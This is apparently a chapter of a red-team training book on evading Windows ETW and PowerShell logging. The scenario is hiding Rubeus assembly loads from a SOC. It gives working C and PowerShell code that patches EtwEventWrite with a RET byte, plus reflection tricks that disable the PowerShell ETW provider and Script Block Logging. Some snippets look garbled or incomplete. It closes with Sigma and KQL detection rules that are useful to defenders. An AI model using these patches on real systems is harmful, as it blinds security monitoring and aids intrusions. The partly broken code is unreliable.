Chapter 138

ETW Bypass and Logging Evasion

Event Tracing for Windows internals: provider/session/consumer model, in-process patching of EtwEventWrite to suppress all events from a process, targeted provider disable via NtTraceEvent, silencing .NET runtime ETW to hide assembly loads, disabling PowerShell Script Block Logging via reflection, and how defenders detect every one of these tampering approaches.

Scenario

AMSI is patched and ntdll hooks are removed. Your .NET assembly loads cleanly. But the Microsoft-Windows-DotNETRuntime ETW provider is logging every assembly load to the Windows event log, and the SOC's SIEM ingests ETW events in real time. When Rubeus loads its types, the ETW event fires with the assembly name before the first line of Kerberos attack code runs. You need to silence ETW for your process — either globally (patch EtwEventWrite) or selectively (disable the specific .NET runtime provider in your process's trace session).

ETW Architecture

ETW (Event Tracing for Windows) — three-component model: PROVIDERS: code that emits events Examples: Microsoft-Windows-DotNETRuntime → assembly loads, JIT, GC, exceptions Microsoft-Windows-PowerShell → script block, pipeline, cmdlet events Microsoft-Windows-Kernel-Process → process/thread creation Microsoft-Antimalware-Engine → WD/MDE scan events Microsoft-Windows-WMI-Activity → WMI operations Each provider: registered with a GUID; enabled per-process by a trace session TRACE SESSIONS: control which providers are active, at what keyword/level Examples: "NT Kernel Logger" (GUID {9E814AAD-...}): kernel events "EventLog-Application": feeds Windows Event Log Custom sessions: EDR products create their own sessions Sessions can be: real-time (ETW consumer reads directly) or file-based (events written to .etl file) CONSUMERS: read events from sessions Windows Event Log Service: writes to .evtx files EDR: registers as real-time consumer for its session(s) WPR, PerfView, xperf, logman: diagnostic tools Attack surface: ETW is implemented in ntdll.dll (EtwEventWrite) Every event write goes through: provider → EtwEventWrite → kernel NtTraceEvent Patch EtwEventWrite → no events leave ANY provider in the process Selectively disable a session → only events for that session are suppressed

Patching EtwEventWrite

// EtwEventWrite is the ntdll.dll function all ETW providers call to emit events.
// Patching it with RET (0xC3) makes every event write in this process a no-op.
// This silences ALL ETW providers in the current process — including EDR telemetry.

BOOL PatchEtwEventWrite() {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    BYTE* fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
    if (!fn) return FALSE;

    DWORD old;
    VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
    fn[0] = 0xC3; // RET — immediate return, no event written
    VirtualProtect(fn, 1, old, &old);
    return TRUE;
}

// PowerShell equivalent (patches EtwEventWrite in the current PS process):
$ntdll = [System.Runtime.InteropServices.Marshal]
$ptr   = ($ntdll)::GetDelegateForFunctionPointer(
    (Add-Type @"
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string s);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string m);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
"@ -PassThru)::GetProcAddress(
    ([System.Runtime.InteropServices.Marshal])::GetModuleHandle("ntdll"), "EtwEventWrite"),
    [Action])
$oldProtect = 0
([System.Runtime.InteropServices.Marshal])::WriteInt32([System.IntPtr]$ptr, 0xC3C3C3C3)
# Simple version: just write 0xC3 at EtwEventWrite address

Disabling Specific ETW Providers

// More surgical: disable a specific provider for a specific trace session.
// NtTraceControl / EtwSetInformation can manipulate provider state.
// Less visible than patching EtwEventWrite (which patches ntdll memory).

// Approach: walk the process's trace registration list and disable target provider.
// The provider list is stored in ntdll's data section (EtwpProviderList).

// Simpler approach: use NtQuerySystemInformation to find the trace session handle,
// then call NtTraceEvent with TRACE_DISABLE_EVENT.

// Practical shortcut: patch the ETW provider's IsEnabled check.
// Each ETW provider has an ENABLE_FLAGS field checked before emitting events.
// If IsEnabled = 0: provider emits nothing (no call to EtwEventWrite).

typedef struct _EVENT_DATA_DESCRIPTOR {
    ULONGLONG Ptr;
    ULONG     Size;
    ULONG     Reserved;
} EVENT_DATA_DESCRIPTOR;

BOOL DisableDotNetETW() {
    // Find the .NET runtime provider's internal registration struct.
    // The CLR's ETW provider GUID: {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}
    // Its IsEnabled flag is in clr.dll data section.
    // Approach: scan clr.dll .data for the provider GUID, find IsEnabled near it.

    HMODULE clr = GetModuleHandleW(L"clr.dll");
    if (!clr) clr = GetModuleHandleW(L"coreclr.dll"); // .NET Core

    // The ETW registration context for the runtime provider:
    // Locate via exported symbol or by scanning .data for the known provider GUID
    GUID dotNetGUID = { 0xe13c0d23, 0xccbc, 0x4e12,
                        {0x93,0x1b,0xd9,0xcc,0x2e,0xee,0x27,0xe4} };

    // Once provider context is found: zero the EnableFlags field
    // ETW_REG_ENTRY.EnableFlags = 0 → provider stops emitting
    // This is a targeted patch: doesn't affect other ETW providers in the process
    return ZeroProviderEnableFlags(clr, &dotNetGUID);
}

Silencing .NET ETW via Reflection

# PowerShell / .NET: disable the CLR's ETW provider via managed API
# Works in PowerShell 5.1 and 7.x

# Method 1: Set ETW provider enable flags to 0 via reflection into private CLR fields
$runtimeType = [System.Runtime.InteropServices.RuntimeEnvironment]

# Find Microsoft-Windows-DotNETRuntime provider handle in CLR's ETW registration
# This accesses the private ETW provider struct through NGen/JIT internal types
$ngenType = [Type]::GetType('System.Diagnostics.Eventing.EventProvider')
$regHandleField = $ngenType.GetField('m_regHandle', [Reflection.BindingFlags]'NonPublic,Instance')
# (Implementation varies by .NET version — scan CLR for ETW_REG_ENTRY pattern)

# Method 2: Patch the NtTraceEvent syscall used by EtwEventWriteString
# This prevents the kernel from ever receiving the events from this process
$ntTraceEvent = [Reflection.Assembly]::Load('System.Management.Automation').
    GetTypes() |
    Where-Object { $_.Name -eq 'PSEtwLogProvider' } |
    ForEach-Object {
        $_.GetField('etwProvider','NonPublic,Static').GetValue($null)
    }
# Zero the provider's m_enabled field (bool): prevents any event from being emitted
$providerField = $ntTraceEvent.GetType().GetField('m_enabled','NonPublic,Instance')
$providerField.SetValue($ntTraceEvent, $false)

Disabling Script Block Logging

# Script Block Logging (Event 4104) is implemented via a PowerShell ETW provider
# and the ScriptBlock audit subsystem in System.Management.Automation.dll.
# Disabling it prevents AMSI and logging from seeing script content.

# Method 1: Disable via registry (persists, requires admin, very visible)
# HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
# EnableScriptBlockLogging = 0 → disabled

# Method 2: Reflect into PS internals and null the script block logger
$utils = [Ref].Assembly.GetTypes() |
    Where-Object { $_.Name -eq 'Utils' }
$cachedGroupPolicySettings = $utils.GetField(
    'cachedGroupPolicySettings', [Reflection.BindingFlags]'NonPublic,Static')
$settings = $cachedGroupPolicySettings.GetValue($null)
if ($settings -and $settings.ContainsKey('HKEY_LOCAL_MACHINE')) {
    $settings['HKEY_LOCAL_MACHINE'].Remove('ScriptBlockLogging')
}

# Method 3: Patch the EnableScriptBlockLogging check in SMA.dll
# The check reads from a cached policy dictionary — zeroing this cache
# makes PowerShell think logging is disabled even if the registry says otherwise.

# Method 4: ETW patch approach — patch EtwEventWrite as above
# SBL writes to ETW which writes to the Windows EventLog service
# With EtwEventWrite → RET, no 4104 events are emitted from this process

Detection Engineering

-- ETW tampering generates specific artifacts:

-- 1. EtwEventWrite patch: VirtualProtect on ntdll .text with RWX → same signal as unhooking
-- 2. Script Block Logging disabled: registry change at
--    HKLM\...\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging
-- 3. ETW session gap: missing events in a sequence (sequence number jumps) — subtle but real
-- 4. Provider disable: NtTraceEvent call from user process with disable flags

title: PowerShell Script Block Logging Disabled via Registry
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: '\PowerShell\ScriptBlockLogging'
    Details: '0'
  condition: selection
level: high

-- Sigma: EtwEventWrite memory write (same pattern as AMSI/ntdll unhook)
title: ETW EtwEventWrite Function Patched
logsource:
  product: windows
  category: process_tampering
detection:
  selection:
    EventID: 25
    Image|contains: 'ntdll.dll'
    Type: 'Image is replaced'
  condition: selection
level: critical

-- MDE KQL: ETW session tampering — processes calling NtTraceControl
DeviceEvents
| where ActionType == "NtTraceControl"
| where InitiatingProcessFileName !in~ (
    "perfmon.exe", "wpr.exe", "xperf.exe",
    "logman.exe", "diagtrack.exe"
  )
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine
ETW BypassScopeDetection SignalBypasses Kernel ETW
Patch EtwEventWrite (RET)All providers in processVirtualProtect on ntdll .text; Sysmon 25No — kernel events still fire
Provider IsEnabled = 0Targeted provider onlyLower signal — no ntdll patchNo
Disable SBL via registryAll PS processes (persistent)Registry change Event; 4104 events stopNo
Null PS ETW provider via reflectionCurrent PS runspace4104 stops for this session; reflection API call in 4103No
Kernel ETW session kill (driver)Entire sessionRequires kernel driver; detectable by kernel callback absenceYes

Q&A

If an attacker patches EtwEventWrite in their process, does the SOC lose all visibility into that process?

No — EtwEventWrite patching only silences user-mode ETW events emitted from within the patched process. Several visibility sources remain unaffected. Kernel ETW providers: events from the NT Kernel Logger (process creation, thread creation, registry access, network connects, file I/O) fire from kernel mode via EtwWrite in ntoskrnl — not from the user-mode stub in ntdll. Patching user-mode EtwEventWrite has zero effect on kernel-mode event emission. EDR kernel callbacks: all ObRegisterCallbacks, PsSetCreateProcessNotifyRoutine, and minifilter events are kernel-generated and completely unaffected. Sysmon: Sysmon operates via its own kernel driver and ETW kernel session — fully immune to user-mode ETW patching. WFP callouts: network events observed by Windows Filtering Platform fire from the networking stack in kernel mode. Event log service: events already written to the event log before the patch was applied are preserved. The practical impact of EtwEventWrite patching is targeted: it silences user-mode providers like Microsoft-Windows-DotNETRuntime (assembly load events), Microsoft-Windows-PowerShell (script block events when not also blocked at the PS layer), and other in-process ETW sources. It does not silence the EDR's kernel driver, Sysmon, or network telemetry. Detection engineers with a multi-source telemetry strategy (kernel + network + EDR) lose one visibility layer but retain the others — and the act of patching EtwEventWrite itself generates a Sysmon 25 event.